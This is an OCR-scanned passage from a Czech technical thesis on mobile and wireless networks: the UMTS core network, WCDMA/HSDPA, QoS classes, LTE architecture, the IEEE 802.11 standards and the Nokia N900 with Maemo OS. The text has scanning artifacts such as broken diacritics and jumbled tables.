scramblovaci, i tak je pfijima¢ dokaze rozlisit. [3]

2.1.5 Patefrni sit' CN

Pateini sit' v UMTS tvoii zakladni platformu pro v§echny komunikac¢ni sluzby, které jsou
poskytované uzivatelim. Zahrnuje zékladni sluzby vcéetné spojové orientovanych hovort a
smérovani paketl. Sklada se ze skupin zafizeni nazyvanych domény a subsystémy, kterych
ucelem je popsat jejich pienosové charakteristiky. Obr. 2.8 popisuje strukturu CN podle
specifikace R5. Na zaklad¢ tohohle rozdéleni pateini sit’ pozistava z domén:

Spojove orientovana doména (CS — Circuit Switched).
Paketové orientovana doména (PS — Packet Switched).

IP Multimedialni subsystém (IMS — IP Multimedia Subsystem).
Broadcast doména (BC — BroadCast domain).

Rozdil mezi doménou a subsystémem je ten, Ze doména je pfimo piipojena k ptistupové
siti rozhranim lu. Subsystém pouziva jinak definované typy rozhrani, pomoci kterych se
ptipaji k doménam. [3]
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Obr. 2.8: Struktura paterni sité
Registr HSS (Home Suscriber Server)
Registr HSS je spole¢ny pro vSechny domény. Poskytuje nasledujici sluzby:

e spravu mobility (MM — Mobility Management) — uchovava adresni informace o
termindlech,

e zabezpecovaci informace, autentizace pristupu (vykonava AuC blok),

e podpora sluZzeb — poskytuje ptistup k profilovym datim sluzeb v ramci domeén CS, PS
a IMS,

e podpora vytvoteni hovoru/relace,

e podpora identifikace ucastnika — IMSI (International Mobile Subscriber Identity) pro
CS doménu, IP adresu pro PS doménu,

e podpora autorizace sluzeb — poskytuje zakladni autorizaci pfi budovani relace/hovoru.

[3]
Registr EIR (Equipment Identity Register)
Podobné jako registr HSS slouzi pro vSechny domény a subsystémy v pateini siti.

Uchovavé informace o koncovém zafizeni a o stavu zafizeni. Tyto informace uklada to
seznamil

e Dily seznam — UE ma povoleny pfistup do sité,
e 3edy seznam — UE ma povoleny piistup do sité, ale je monitorovano,
e Cerny seznam — UE nema povolen piistup do sité. [3]

Zarazeni koncového zatizeni do seznamu zavisi od platnosti IMEI (International Mobile
Equipment Identity). Registr EIR poskytuje tyto idaje doméné CS na zéklad¢ vyzadani.
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MGW (Media Gateway) a MSC (Mobile Switching Centre Server)

Ve specifikaci R4 byl MSC (Mobile Switching Centre) rozdélen na dvé ¢asti (MSC
server a MGW), za ucelem oddé€leni kontrolni a uzivatelsky roviny v rdmci CS. Vysledkem je
Skalovatelnost systému, protoZe jeden MSC server miiZze kontrolovat vice MGW. Server MSC
obsahuje registr VLR (Visitor Location Register). VLR je navstévnicky registr. Uchovava
informace o aktudlnim umisténi terminalu. Obsahuje kopie vétSiny informaci ulozenych
v HLR (Home Location Register), ktery je soucasti registru HSS. MSC server dale spravuje
kontrolu hovort. Zafizeni MGW provadi konvertovani digitdlnich dat mezi rozdilnymi
telekomunikacnimi sitémi, jako naptiklad PSTN (Public Switched Telecommunication
Network) a piistupovymi radiovymi sitémi v 2G, 2,5G a 3G sitich. [3]

GMSC (Gateway Media Switchning Centre)

Jedna se o hrani¢ni MSC server. Provadi konverzi signalizace komunikacnich dat.
Vyuziva se pii smérovani hovora v rdamci mobilnich siti.

SGSN (Serving GPRS Support Node)

Toto zafizeni je soucasti PS domény. Uchovava v sobé informace, diky kterym je
mozné smérovani paketl. Jsou to naptiklad, informace o poloze, IMSI (Internation Mobile
Subcriber Identity), IP adresy, QoS parametry.

GGSN (Gateway GPRS Support Node)

Je to brana odd¢€lujici pateini sit’ od externi paketové sité. Terminaltim, které vyuZzivaji
paketovy ptenos dynamicky (kvili bezpecnosti) pfidéluje IP adresy. GGSN fidi pfistup
K externim sluzbam pomoci ptistupového bodu, APN (Access Point Name). Soucasti brany je
i firewall, ktery kontroluje vSechny data vstupujici a vystupujici ze sité. [3]

2.1.6 Pristupové metody v UMTS
2.1.6.1 WCDMA (Wideband Code Division Multiple Access)
3GPP specifikace v souc¢asné dobé definuji tii hlavni pfistupové technologie v sitich UMTS.

e WCDMA (Wideband Code Division Multiple Access) — hlavni pouZivana
technologie. Pozd¢ji byla rozsifena o technologie HSDPA (High Speed Downlink
Packet Access) a HSUPA (High Speed Uplink Packet Access), diky kterym je mozné
doséhnout vétsich prenosovych rychlosti ve smérech downlink a uplink.

e GSM/EDGE (Global System for Mobile Communitation/Enhanced Data for GSM
Evolution) — vyvojaisky zaklad specifikace R99.

e Dopliikové pristupové technologie — systémy, které budou hodnotné pro UMTS
systém v budoucnu. Napiiklad technologie WLAN (v sou¢asnosti ve vyvoji).

Hlavni ptistupova radiova technologie pro UMTS je WCDMA. Vychazi z technologie
CDMA (Code Division Multiple Access), pracuje vSak se SirSim pfenosovym pasmem a
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vyuziva jiné techniky kontroly kanald a signalizace. UZite¢né pienosové pasmo pro radiove
rozhrani ma $itku 3,84MHz a spolu s postrannimi pasmy 5SMHz.

Hlavni varianty WCDMA jsou

e WCDMA - FDD (Frequency Division Duplex) — pouzivanéjsi, komunikace mezi UE
a Node B probiha na jinych kmitoctech ve sméru uplink a downlink. Hlavni operacni
pasma pro FDD jsou vypsany v tab. 2.1.

e WCDMA - TDD (Time Division Duplex) — komunikace mezi UE a Node B probiha
na stejném kmito¢tu v obou smérech. Spojeni se asove stiidaji.

UL frekvence (UE DL frekvence (UE
Operacni pasma vysila, Node B pfijima) | piijima, Node B vysild)
[MHz] [MHz]
WCDMA z&kladni pdsmo 1920-1980 2110-2170
1900MHz 1850-1910 1930-1990
1800MHz 1710-1785 1805-1880
1,7/2,1 GHz (USA) 1710-1770 2110-2170
UMTS850 824-849 869-894
UMTS800 (Japonsko) 830-840 875-885

Tab. 2.1: Operacni pasma pro FDD

Zakladni technika pouzivana ve WCDMA je DSSS (Direct Sequence Spread Sprectrum).
Vezmeme si ptiklad prenosu dat ze zakladové stanice k UE, znazornény na obr. 2.9. V Node
B, vysilany signal o rychlosti R je rozsifen pomoci kombinaci ptivodniho a Sirokopasmového
rozprostiraciho signalu, ktery ma mnohem vyssi pfenosovou rychlost. Vznikne rozprostieny
signél s pfenosovym pasmem S$itky W. Tento signal je nasledné pienaSen radiovych
rozhranim. V UE je pfijaty signil vynasoben stejnym rozprostiracim signalem. Jestli
rozprostiraci signal, generovany v UE, je zosynchronizovany s rozprostifenym signalem,
vysledkem budou plivodni data, spolu se nasuperponovanymi vysokofrekvencnimi slozkami.
Tyto slozky se odfiltruji. Tento proces vytvaii WCDMA odolni vi¢i interferencim a
odposlechim. Datovy signédl je tedy scramblovany specifickymi pseudokody na strané
vysilace, Sifen pfes celé pasmo a v piijimaci extrahovany pouzitim stejné kdédové sekvence.

[3]
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Obr. 2.9: Princip techniky DSSS (Direct Sequence Spread Sprectrum)

Pojem ,,bit“ ve WCDMA miize byt matouci. Bit odpovida informa¢nimu bitu piivodniho
signalu. Bit nachazejici se v rozprostiracim signale se nazyva ,Cip“. Bitova rychlost
rozprostiraciho signalu je 3,84Mbit/s pro vSechny WCDMA varianty vyuZzivané v 3G sitich.
Tato rychlost se nazyva systémova Cipova rychlost SCR (System Chip Rate) a je vyjadiena
jako 3,84Mchip/s. Délka trvani jednoho ¢ipu je 260,41ns. Na radiovém rozhrani je informace
prenasena vtzv. symbolech. V zavislosti na pouzité modulaci, jeden pouzity symbol
reprezentuje nékolik biti. Napiiklad v DS-WCDMA-FDD (Direct Spectrum WCDMA
Frequency Division Duplex), jeden symbol pienaSeny ve sméru uplink reprezentuje jeden bit,
ve sméru downlink dva bity. Je to zplsobeno tym, Ze v kazdém smére je pouzZita jina
modulace.

Rozprostfeni signalu zavisi na tzv. SF (Spreading Factor), rozprostiraci faktor. Urcuje

pocet Cipt pouzitych na jeden symbol. Matematicky je vyjadien
K =2, (2.1)

kde k =0, 1, 2, 3, 4, 5, 6, 7, 8. Naptiklad pro k=6, bude jeden symbol vyuzivat 64 Cipu ve
sméru uplink. SF mlZe byt rovnéz vyjadien jako pomér bitové rychlosti rozprostfeného
signalu a bitové rychlosti zakladniho signalu. Cim mensi hodnota SF, tym vétsich
ptenosovych rychlosti je mozné dosdhnout, ale tym mens$i pocet uZzivatell miZze pasmo
vyuZivat. [3]

2.1.6.2 WCDMA - rozsireni HSDPA (High Speed Downlink Packet Access)

Jiz pti vyvoji prvnich UMTS specifikaci se ¢elilo vyzveé prenosu dat na zaklad¢ IP
adres, jak tomu bylo v pevnych sitich. Organizace 3GPP v specifikaci R5 vyrazné upravila
pateini sit’ (CN). Ptidala nékolik blok, jako naptiklad IMS (IP Multimedia Subsystem). Dalsi
vyvoj se tedy musel zaméfit na pfistupovou cast sité. Bylo definované rozsifeni technologie
WCDMA, nazyvan¢ HSDPA (High Speed Downlink Packet Access). Sit¢ vyuZzivajici
HSDPA jsou oznacovany jako sité 3,5G.

Soucasné HSDPA podporuje ve sméru downlink rychlosti 1,8, 3,6, 7,2 a 14,0Mbit/s.
Rychlost zavisi na pouZzité modulaci. Skute¢nd rychlost je mnohem mensi. Zavisi od riznych
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faktorti, jako naptiklad pokryti buniky, UE mobilita, vzdalenost UE od Node B a pocet
piipojenych ucastniki. V porovnani s release 4 je vSak zlepSeni datové kapacity obrovské.
V HSDPA je definovano né¢kolik inovaci architektury sité, diky kterym se dosahuje niZ§iho
zpozdéni a rychlejsi reakce na zménu kvality signalu. Namisto rychlého fizeni vysilaciho
vykonu a proménného faktoru rozprostreni se pouziva dynamicka
adaptivni modulace a koédovani, opakované odesilani na fyzické vrstvé a rychlé planovani
paketu. [4]

Adaptivni modulace a kddovani AMC (Adaptive Modulation and Coding)

Hlavnim cilem je kompenzovat nestabilitu radiového kanalu pomoci nastavovani
prenosovych parametri. CQI (Channel Quality Indication) kanal slouZzi k pfenosu informaci o
kvalité pravé pouzivaného kandlu. Informace jsou ziskané z UE, ktery je méfi. Na jejich
zakladé se v danou chvili pouZije nejvhodnéjsi modulace a kodovani. Po¢ate¢ni modulace je
QPSK (Quadrature Phase Shift Keying), jestli jsou radiové podminky dobré, pouZije se
16QAM (16-Quadrature Amplitude Modulation), ¢im se vyrazné zvysi pienosova rychlost.

[4]
Opakované odesilani HARQ (Hybrid Automatic Repeat Request)

Bity na opravu dat jsou pfenaseny spolu s datovym signdlem. Mensi chyby se opravi
na strané pfijimace a pakety se nemusi znovu pienaset. Jestli je opakovani pienosu potiebné,
poskozeny paket se ulozi a po zopakovani pfenosu se novy a uloZeny paket zkombinuji, za
ucelem ziskani bezchybného paketu. Oba pakety mohou dorazit poskozeny a v konecném
dasledku miize byt paket bez chyby. Odezva systému je rychlejsi, protoze o opakovani
vysilani se stard Node B a ne RNC. Vysledkem je krat$i doba pobytu paketi v siti, pfedtim
nez se zjisti, Ze jsou vadny. [4]

Rychlé planovani paketi FPS (Fast Packet Scheduling)

Na rozdil od specifikace R4, dochazi k planovani odesilani paketi v Node B a ne
v RNC. Na zakladé informaci ze vSech UE, Node B rozhodne, ktery UE bude odesilat data
v dalsim ¢asovém ramci a kolik dat miize byt preneseno k UE. Cim lepsi signal, tym vic dat
bude odeslano. [4]

2.1.6.3 WCDMA - HSUPA (High Speed Uplink Packet Access) — EUL (Enhanced
Uplink)

Technologie HSUPA (High Speed Uplink Packet Access) vylepSuje technologii
HSDPA, konktrétné zvySuje prenosovou rychlost ve sméru uplink na 5,76Mbit/s. Oznaeni
HSUPA vytvofila spole¢nost NOKIA. Organizace 3GPP toto pojmenovani nedefinuje a
oznacuje tuto technologii jako EUL (Enhanced Uplink). Podobné jako v HSDPA, HSUPA
pouziva planova¢ odesilani dat (PS). Pracuje vSak rozdiln€, na zaklad¢ zadosti, kterymi UE
Zada o povoleni posilat data. [4]
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2.1.7 QoS (Quality of Service) v UMTS

Kazda sluzba ma specifické naroky na pienosovou cestu. Nekteré sluzby maji vetSi
naroky, nékteré mensi. Siti typicky pifechazi v jeden casovy okamzik mnoho sluzeb
a pozadavkll od vicerych uZivateld. Pfenosové pasmo ma vSak limitovanou §itku, proto je
cilem alokovani dostate¢né velkych sitovych prostiedkt pro potieby kazdé sluzby. [3]

UMTS zavedla pomérné jednoduchy koncept QoS (Quality of Service), pozlstavajici
ze Ctyt prenosovych tfid anckolik QoS atributd, slouzicich k definovani pienosovych
charakteristik téchto tfid.

Zminéné Ctyfi pfenosové tiidy jsou

e QoS konverzacni tiida,
® QoS streamovaci tfida,
e QoS interaktivni tiida,
e QoS tfida pfenosu na pozadi.

Nejlepsim piikladem pro konverza¢ni tifidu je telefonni hovor. AvsSak internet
a multimédia pfinesli nové sluzby pozadujici vyuziti této ttidy. Dobrymi piiklady jsou VolP
(Voice over IP) a videokonferen¢ni sluzby. Real-time konverzace je vzdy realizovand mezi
skuteénymi koncovymi uzivateli (tj. lidmi). Z toho vyplyva, Ze ndroky na pfenosové pasmo
jsou ptimo podminéné lidskym vjemem. V konverzacni téidé ptenosové vlastnosti popisuji
hlavné€ parametry zpozdéni a zmény zpozdéni.

Pii sledovéani videi probihajicich vredlném case nebo poslouchani hudby koncovym
uzivatelem je pouzita streamovaci tfida. Pfenos dat sméruje v tomto piipadé jen jednim
smérem, jedna se o spojeni typu Klient - server. Zména zpozdéni a celkové zpozdéni neni tak
kritickd, jako tomu bylo u konverzaéni tfidy. Na stran¢ koncového uzivatele se o asové
zarovnani ramcu stara ptimo uzivatelska aplikace s vyuzitim vyrovnavajicich paméti.

Interaktivni pfenosova tfida popisuje klasickou komunika¢ni metodu, zalozenu na
komunikaci typu zadost/odpovéd’. Podobné jako ve streamovaci tfidé, jedna se o spojeni typu
klient — server. Entita, jak na strané koncového uzivatele, tak na stran¢ serveru, ocekava
odpoveéd, resp. Zadost v urcitém cCase. Pravé zpozdéni tyhle zpravy je jednou z kli¢ovych
vlastnosti interaktivni tfidy. Dalsi klicovou vlastnosti je transparentnost pfenosu dat s malou
chybovosti.

Ttida ptfenosu dat na pozadi je taktéZ zalozena na klasickém komunika¢nim modelu
zadost/odpoveéd’, s rozdilem, ze data nejsou oCekavana v urcitém Case. Data by vSak méla byt
pfenasena transparentn¢, S CO mozna nejmensi chybovosti. [3]
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Tab. 2.2: Rozdéleni QoS tiid

Typickeé sluzby vyuZivajici jednotlivé tfidy jsou vypsané v tab. 2.2. Chovani jednotlivych
ptenosovych tfid je definovano pomoci QoS parametrii. Mezi QoS parametre patii

prenosova tiida: tento parametr urcuje prenosovou tiidu QoS ana zakladé jeji
hodnoty UMTS sit’ optimalizuje pfenosovou cestu,
Maximalni prenosova rychlost (kbit/s): parametr urcuje horni hranici rychlosti, kterou
mohou aplikace nebo uZivatel dosahnout,
garantovand prenosova rychlost (kbit/s): UMTS atributy nosné sluzby (zpozdéni,
propustnost) jsou garantované aZz do tehle rychlosti. Pfi jeji piekroceni uZ atributy
garantovane nejsou,
poradi doruceni (Y/N): atribut indikuje, jestli ma byt provedeno doru¢ovani SDU
(Servise Data Unit) ve spravném pofadi nebo ne. Pro protokoly IPv4 a IPv6 by mél
byt parametr nastaven na hodnotu ,,N*“,
maximalni velikost jednotky SDU: definuje maximalni velikost SDU pro kterou musi
sit” zaru¢it QoS. Je-li jednotka SDU vetSi velikosti neZ byla dohodnuta, mohou se
zahodit nebo déle pfendset bez garance Q0S,
forméatovaci informace o SDU: pomoci tohohle parametru je mozné definovat seznam
ptesnych velikosti vSech moznych SDU,
SDU chybovost: vyjadiuje podil ztracenych SDU nebo vyhodnocenych jako
chybnych,
zbytkova chybovost: atribut indikuje nedetekovanou chybovost dorué¢enych SDU.
VyuZziva se pro nastaveni radiovych protokolt, algoritmi a detek¢énich chybovych
kodd,
doruceni poskozenych SDU (Y/N/-): urcuje, jestli maji byt poSkozeny SDU doruceny,
nebo zahozeny,
Zpozdeni (ms): urcuje maximalni zpozdéni pro 95% ze vsech doruc¢enych SDU,
priorita pro data: urcuje upfednostnéni obsluhovani SDU patracich do UMTS nosné,
pted SDU patticimi do jinych nosnych,
alokace/zachovani priority: specifikuje dilezitost jednotlivych UMTS nosnych
Vv porovnani s jinymi UMTS noshymi,
popis statistik zdroje: popisuje charakteristiku zdroje piijatych SDU,
indikace signalizace (Y/N) : definovany jen pro interaktivni t¥idu.
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Technickd realizace urcit¢ kombinace QoS atributi vytvari pfenosovou tiidu s
uréitymi vlastnostmi a nazyva se bearer sluzba (nosna). Tato nosna sluzba je kolekce
alokovanych sitovych zdrojt, kterd formuje tzv. bitou rouru se splnénymi QoS parametry. [3]

2.2 Mobilni sité HSPA+ (Evolved High-Speed Packet Access)a LTE
(Long Term Evolution)

LTE je nejnovéjsi standard v mobilnich technologiich. Soucasné mobilni
telekomunikac¢ni sit¢ nesou oznaceni 3G, LTE sité jsou Casto oznacovany jako sité Ctvrté
generace. Prvni specifikace LTE, definovana v release 8, ale patfi do sité 3,9G, protoze nebyla
v plném souladu se IMT (International Mobile Telecommunications) Advanced 4G
standardem. V roce 2011 ma byt definovan standard LTE Advanced, ktery bude skute¢nym
zékladem siti 4G. Bude podporovat rychlosti do 1Gbit/s pii pomalé mobilit¢ a skalovatelnou
Sitku pasma v rozmezi 40MHz. Sité 4G byly navrzeny kvili zvySeni kapacity sité, rychlosti a
snizeni néklada pro prodejce. Tyto systémy nejsou kompatibilni se systémy 3G.

2.2.1 HSPA+ (Evolved High-Speed Packet Access)

HSPA+ (Evolved High-Speed Packet Access) je standard definovany v release 7.
HSPA+ dovoluje dosahnout pienosovych rychlosti az do 56Mbit/s pro smér downlink a pro
smér uplink 22Mbit/s. Vyuziva k tomu techniku MIMO (Multiple-Input and Multiple-Output)
a modulaci vyssiho stupné (64QAM). Anténni syst¢tm MIMO v CDMA systémech vytvari
virtualni sektory, ¢im navySuje kapacitu v blizkosti vysilace. Uvedené rychlosti jsou
teoretické, v praxi dosahuji pii vétsich vzdalenostech od vysilaée hodnoty podobné HSDPA.

[7]

2.2.2 LTE (Long Term Evolution) - zakladni vlastnosti systému

LTE podporuje ptenosové rychlosti ve smeéru downlink nejminn 100Mbit/s, ve sméru
uplink 50Mbit/s. Doba odeslani a potvrzeni pfijmu paketu je mensi nez 10ms. Podporuje
razné Sitky pasem, od 1,4MHz po 20MHz. Hlavni vyhody LTE jsou vysoka propustnost,
malé zpozdéni, podpora Plug and Play, FDD a TDD v stejné platformé a jednoducha
architektura (niz$i naklady). Systém LTE bude také podporovat piechod do bunék starSich
sitovych technologii bez pteruseni spojeni. Na obr. 2.10 je znazornén vyvoj HSPA+ a LTE.
Ob¢ sit¢ dosahuji velmi vysokych rychlosti a né€kteti operatofi planuji rozvijeni HSPA+
namisto LTE.
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HSPA+ a LTE - odhadovana ¢asova linie do roku 2014
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Obr. 2.10: Casova linie siti HSPA+ a LTE

Soucasny stav a vlastnosti systému LTE

Maximalni rychlosti pro stahovani, 326,4Mbit/s pti pouziti anténniho systému 4x4 a
172,8Mbit/s pti pouziti 2x2 (vyuzité 20MHz spektrum).

Maximalni rychlost pro nahravani je 86,4Mbit/s pro kazdé 20MHz spektrum (jedna
anténa).

Minimalné 200 aktivnich uZivateld v kazdé 5 MHz buiice.

Moznost vybéru Sifky pasma od 1,4MHz po 20MHz (WCDMA ma pevné definovano
pasmo Sitky SMHz).

Na venkov¢ pracuje na frekvenci 900MHz s optimalni velikosti buiiky 5 km. Je mozné
pouzit i 30 km buriku (dobra vykonost) a 100 km buniku (pfijatelna vykonost). V husté
obyvanych lokalitach pracuje na frekvenci 2,6GHz (EU) s velikosti buiiky do 1 km.
Dobra podpora mobility. Vysokou ptenosovou rychlost je mozné dosdhnout i pii
pohybu rychlosti 500 km/h.

Handover mezi riznymi pfistupovymi technologiemi.

Pouzivand modulace OFDM (Orthogonal frequency-division multiplexing).

Podpora IPV6.
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2.2.3 Architektura LTE

Velké mnozstvi prace bylo vénovano zjednoduseni architektury systému. Existujici
UMTS okruhy a paketové piepinani jsou nahrazeny plochou AIPN (All IP Network)
architekturou. Zjednodusena struktura LTE je zndzornéna na obr. 2.11.

IP sité
HSS PCRF
. _____ 1
I SAE
r——- MME -- GW
1
. . | | |
: 11
SGSN o PDSN
e b __ Ostatni
- - 1 : pfistup. tech.
1
NS WCDMA/ T eNode B
HSPA LTE

Obr. 2.11: Zjednodu$ena architektura LTE

Nova architektura byla navrhnuta za ic¢elem optimalizovani sitového vykonu, snizeni
nakladi a pozdvihnuti podpory sluzeb zalozenych na IP. V struktute SAE (Service
Architecture Evolution) patii do uzivatelské roviny dva uzly, LTE zakladnova stanice (eNode
B) a SEA brana. Tato architektura snizuje pocet uzla, zahrnutych do komunikace. eNode B je
ptipojena Kk jadru sité pfes rozhrani nazyvané S1. Existujici 3GPP systémy jsou integrovany
do systému LTE pomoci standardizovanych rozhrani, coZz umoznuje optimalizovat mobilitu
mezi systémy (handover). Kontrola signalizace a mobility je fizena entitou MME (Mobility
Management Entity), ktera je oddélena od brany. Registr HSS je pfipojen k siti rozhranim
zalozeném na protokole Diamond a ne SS7, jak tomu bylo u WCDMA sitich. Sitova
signalizace pro kontrolu a uétovani PCEF (Policy and Charging Enforcement Function) je
taktéZ zaloZena na protokole Diamond. To znamend, Ze vSechny rozhrani v architektufe jsou
IP rozhrani. [6]

2.3 Bezdratové sitée

Bezdratové sit€¢ jsou popsany sadou standardli, souhrnné oznaCovanych jako IEEE
802.11. Prvni bezdratovy protokol 802.11-1997 byl standardizovan jiz v roce 1997. Vétsi
uspéch vSak zaznamenal aZ protokol 802.11b (1999), nésledovany protokolem 802.11g.
V soucasné dob¢ se jako nejperspektivnéjsi protokol jevi 802.11n, ktery poskytuje daleko
vys§i pienosové rychlosti a dosah, nez jeho ptedchidci. Zakladni rozdil mezi zminénymi
technologiemi je ve vyuziti modulac¢nich technik pro pfenos dat pies radiové rozhrani.
Standardy 802.11b a 802.11g vyuZivaji pro pitenos dat frekvenci 2,4GHz. Na této frekvenci
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pracuje mnoho jinych zafizeni (bluetooth zafizeni, mikrovinni trouby, atd.), coz je pii¢inou
vzniku interferenci. Frekvenéni pasmo tvofi 13 kanald, z néhoZ se jenom kanaly 1, 6 a 11
nepiekryvaji. Standard 802.11a vyuziva méné rusené 5GHz pasmo. [12]

2.3.1 Puavodni standard 802.11-1997

V soucasné dob¢ jiZ zastaraly protokol, poskytuje pienosové rychlosti 1Mbit/s nebo
2Mbit/s. Specifikuje tfi technologie na fyzické vrstvé. Pfenos Vv infracerveném spektru
(IMbit/s), vyuziti modulace FHSS (Frequency Hopping Spread Spectrum) nebo DSSS (Direct
Sequence Spread Spectrum). Ob&é modulace pracuji s rychlosti bud” 1Mbit/s nebo 2Mbit/s.
[12]

2.3.2 Standard 802.11a

Vyuziva totozny linkovy protokol a strukturu ramce jako plivodni protokol. Rozdil je
v pouZité modulaci OFDM (Orthogonal Frequency-Division Multiplexing). Pracuje v pasmu
5GHz s maximalni teoretickou pienosovou rychlosti 54Mbit/s. S vyuZitim protichybového
korekéniho kodovani se prakticka pienosova rychlost pohybuje kolem 25Mbit/s. Jak jiz bylo
zminéno, vyhodou této technologie je vyuziti méné¢ zahusténého frekven¢niho pasma. Na
druhé strané ma vsak frekvence SGHz mensi vinové délky a tim padem mensi dosah nez
frekvence 2,4GHz. Signal o této frekvenci je také snadnéji pohlcen nebo odrazen piekazkami
na cesté radiového signalu. [12]

2.3.3 Standard 802.11b

Je pfimym rozsifenim puvodniho standardu. Vyuziva stejnou piistupovou metodu a
pracuje ve frekvencni oblasti 2,4GHz. Maximalni pfenosova rychlost je 11Mbit/s, v praxi
kolem 5Mbit/s. [12]

2.3.4 Standard 802.11g

Hardwarové kompatibilni se star§im standardem 802.11b. Pracuje v kmitoc¢tovém
pasmu 2,4GHz a vyuziva modulaci OFDM (podobn¢ jako 802.11a). Teoreticky muze
dosahnut ptenosovou rychlost 54Mbit/s, v praxi kolem 22Mbit/s. [12]

Vroce 2003 byly pfedstaveny bezdratové karty podporujici vSechny zminéné
standardy, coz mélo vyrazny Vliv na rozsifeni nasazeni bezdratového technologie.

2.3.5 Standard 802.11n

Nejnovéjsi protokol ztady protokold 802.11. Vyuzivd anténni techniku MIMO
(Mutliple Input Multiple Output), kterd umoziuje pouzit vétsi pocet antén pro vysilani a
prijem. Datovy signal je tak na vysilaci strané rozdélen na dil¢i datové toky, vysilany
soucasné. Pomoci matematickych algoritmt jsou na pfijimaci strané eliminovany pieslechy.
Pracuje v pasmech 2,4GHz a 5GHz. Maximalni pienosova rychlost se pohybuje az kolem
600Mbit/s. [12]
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Souhrn vlastnosti jednotlivych protokold sady 802.11 je vypsan v tab. 2.3.

80211 |Kmitotet| Oika _ Podporované | Dosah [m]
rotokol | [GHZ] pasma prenosove.rychlostl Modulace
P [MHZ] [Mbit/s] vnitini / vojsi
i 2.4 20 1,2 DSSS, FHSS | 20/100
a 5 0 |8812 12’424’ 36,481 orpMm 35/120
b 2.4 20 55411 DSSS 38 /140
g 2.4 0 |8812 1%;124’ 36.48. | orpM, DSSS | 387140
n 2415 | 20740 od 7,5 po 600 OFDM 70 / 400

Tab. 2.3: Porovnani vlastnosti protokoli ze sady 802.11. [12]

2.3.6 Rozdéleni kanalu

Pasmo 2,4000GHz - 2,4835GHz je rozdéleno na 13 kanali. Kazdy kanal ma sitku
22MHz s odstupem 5MHz. Z obr. 2.12 je zfejmé, Ze jenom kanaly 1, 6 a 11 se neptekryvaji.
Pfi vytvafeni bezdratové sité je nutné nejdiiv analyzovat stav radiového rozhrani v daném
misté. Piekryvani kandl miize mit vyrazny dopad na degradaci signalu (sniZeni rychlosti,
zvétSeni ztratovosti). [12]

Cisla kanalu a stfedni frekvence kanald

1 2 3 4 5 6 7 8 9 10 11 12 13
2,412 2,417 2,422 2,427 2,432 2,437 2,442 2,447 2,452 2,457 2,462 2,467 2,472

Sitka kanalu 20 MHz

Obr. 2.12: Rozdéleni kanala pro pasmo 2,4 GHz

2.3.7 Strukturaramce

Struktura ramce 802.11 je znazornéna na obr. 2.13. Pole Rizeni ramce uréuje typ
rdmce a verzi pouzitého protokolu. Pole Doba trvani nese informaci o ptiblizné délce doby
pfenosu dat. V ramci jsou definovany Ctyfi adresy, adresa radiového prijimace, radiového
vysilage, adresa zdrojové a koncové stanice. PC (Potadové ¢&islo) vyjadiuje &islo ramce nebo
fragmentu a v poli Data jsou umisténa samotna uzivatelska data. Pole KS (Kontrolni soucet)
obsahuje kontrolni soucet ramce.
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Rizeni ramce
2B

Doba trvani
2B

Adresa 1
6B

Adresa 2
6B

Adresa 3
6B

PC
2B

Adresa 4
6B

KS
4B

Obr. 2.13: Struktura ramce pro sadu protokoli 802.11

2.3.8 Standard 802.16e

Kromé¢ standardt 802.11, ur¢enych pro lokalni bezdratové sité, se prosazuje také standard
802.16, znam pod oznacenim WiMAX (Worldwide Interoperability for Microwave Access).
Jednd se o standard pro bezdratové MAN (Metropolitan Area Network) sité. Pracuje v pasmu
2 az 66GHz se sitkami kanald od 1,25 po 20MHz, v zavislosti na pozadované pienosové
rychlosti. Vyuzivd modulaci OFDM s 2048 subnosnymi, které jsou nasledné modulovany
modulaci QAM64 (Quadrature Amplitude Modulation). Standard definuje dvojbodové i
vicebodové spoje. Dvojbodové spoje se vyuZivaji v piistupovych nebo tranzitnich ¢astech
sit¢. Vyzaduji pfimou viditelnost s maximalni dosazitelnou rychlosti az 140Mbit/s.
Vicebodovy spoj je ur€en pro piistup vice uzivatelt do sité, v méstské zastavbé s dosahem 3
az 5 kilometra a rychlosti do 70Mbit/s. [12]

41



3 Mobilni pFistroj Nokia N90O0

Nokia N900 je pienosny pocita¢ s funkcemi chytrého telefonu. Spolu s vybornym
hardwarovym vybavenim se zaraduje mezi absolutni $pi¢ku v oblasti mobilnich zafizeni. Jako
jeden z mala telefonti ma integrované sluzby VolIP a je prvnim telefonem, ktery umoznuje
videohovory pies VoIP i Skype. Pro komfortni ovladani, vyuziva 3,5 palcovy dotykovy
displej a QWERTZ klévesnici. [8]

3.1 Parametry

Nokia N900 je vybavena veskerymi funkcemi, které jsou soucasti vSech dneSnich
chytrych telefoni. Nabizi Sirokou $kalu zajimavych aplikaci. Z pohledu sitovych sluzeb
podporuje vSechny sité a aplikace, které v soucasnosti poskytuji ¢eSti mobilni operatofi.

Dulezité technické parametry piistroje:

e Podporované sit¢: GSM 850/ 900/ 1800/ 1900MHz, WCDMA: 900/ 1900/ 2100MHz
(UMTYS).

e Podpora datovych ptenosi: GPRS (maximalni rychlost 107/64,2kbit/s), EDGE
(maximalni rychlost 296/177,6kbit/s), 3G (WCDMA), HSDPA (10,2Mbit/s), HSUPA
(2,0Mbit/s), Bluetooth 2.1, USB, Mikro USB (Universal Serial Bus), WLAN IEEE
802.11b/g, GPS (Global Position System).

e Operacni systém: Maemo 5.

o Pamét telefonu: 32GB.

e RAM: 256 MB + virtualni pamét’ (spolu do 1GB).

e Procesor: 600MHz.

Prace se zafizenim probiha v poloze nalezato, telefon neni optimalizovan na praci v poloze na
vysku (len vybrané aplikace). [8]

3.2 Operacni system

Operacni systém Maemo, vyvijeny spole¢nosti Nokia, je urcen pro chytré telefony a
internetové tablety. Je vybudovany na jadie linuxové distribuce Debian, z které probira
vétsinu grafického uzivatelského rozhrani GUI (Graphical User Interface). Jadro je obohacené
o frameworky a knihovny z projektu GNOME. Na obr. 3.1 je znazornéna struktura
operacniho systému.
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Hildon Ul Framework

Maemo Maemo
GNOME/GTK+ Aplikaéni Framework SPouste SDK
gStreamer Gnome VFS Gnome Gnome E-D-5 Komunik.

multimedialni  Pfistup k Knihovna Spravce Kalendaf/ Framework
framework souboridim souborl  konfiguraci  Kontakty = Telepathy

Systémové sluzby (D-Bus, DSM, MCE, BME, SQLite DB)

Spravce balickl systémi Debian

Systémové knihovny (GNU C, STD C++, OpenSSL, curl HTTP, atd)

ARM/OMAP - jadro zaloZeno na Linuxu

Obr. 3.1: Struktura opera¢niho systému Maemo 5

Systém dokaze pracovat na procesorech ARM i x86. Okrem zakladnych komponentt
systému, které se inicializuji po spusténi, bézi na pozadi démoni ovladajici telefonni a datové
